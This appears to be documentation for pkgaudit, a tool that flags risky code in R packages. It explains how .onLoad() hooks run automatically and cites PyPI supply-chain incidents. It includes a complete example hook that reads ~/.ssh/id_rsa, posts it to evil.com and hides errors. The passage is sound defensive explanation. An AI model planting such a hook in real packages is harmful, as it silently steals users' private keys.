R is a statistical programming language widely used in environments processing sensitive data: clinical trials, government statistics, financial risk modeling, academic research, and more.
R packages are the primary mechanism for sharing R code. They are
also potential attack vectors. When a user calls
install.packages(), R downloads and installs a package and
its dependencies. When a user calls library() to load and
attach a package, R automatically executes R code contained in
.onLoad() and .onAttach() hooks. A malicious
package anywhere in the dependency graph can run code on the user’s
system without any action beyond a normal R workflow.
A minimal example of what a malicious .onLoad() hook
might look like is:
.onLoad <- function(libname, pkgname) {
tryCatch({
key <- paste(
readLines("~/.ssh/id_rsa"),
collapse = "\n"
)
httr::POST(
"https://evil.com/evil",
body = list(key = key)
)
}, error = function(e) invisible(NULL))
}This code reads a private cryptographic key and sends it to a server
controlled by the attacker. This occurs whenever a package or dependency
containing this code is loaded, before any package function is called.
tryCatch() suppresses any errors, so the user sees nothing
unusual even if readLines() fails because the file does not
exist or the user lacks permission to read it. pkgaudit flags this
httr::POST() call as a pattern executing whenever a package
is loaded.
Similar attacks have been documented in ecosystems adjacent to R. In
2022, the Python package ctx on PyPI was compromised
to exfiltrate environment variables – including credentials. Later that
year, a malicious torchtriton package uploaded to PyPI displaced
the legitimate dependency of PyTorch’s nightly builds and exfiltrated
/etc/passwd, ~/.gitconfig, and the contents of
~/.ssh.
R’s use in environments handling sensitive data makes it an attractive target for a broad range of threat actors. The assets at risk include both the data processed in R sessions and the underlying systems on which R runs, which can provide compute resources and credentials for lateral movement. pkgaudit provides one layer of defense against an under-appreciated risk, flagging security-relevant files and code in R packages for human review.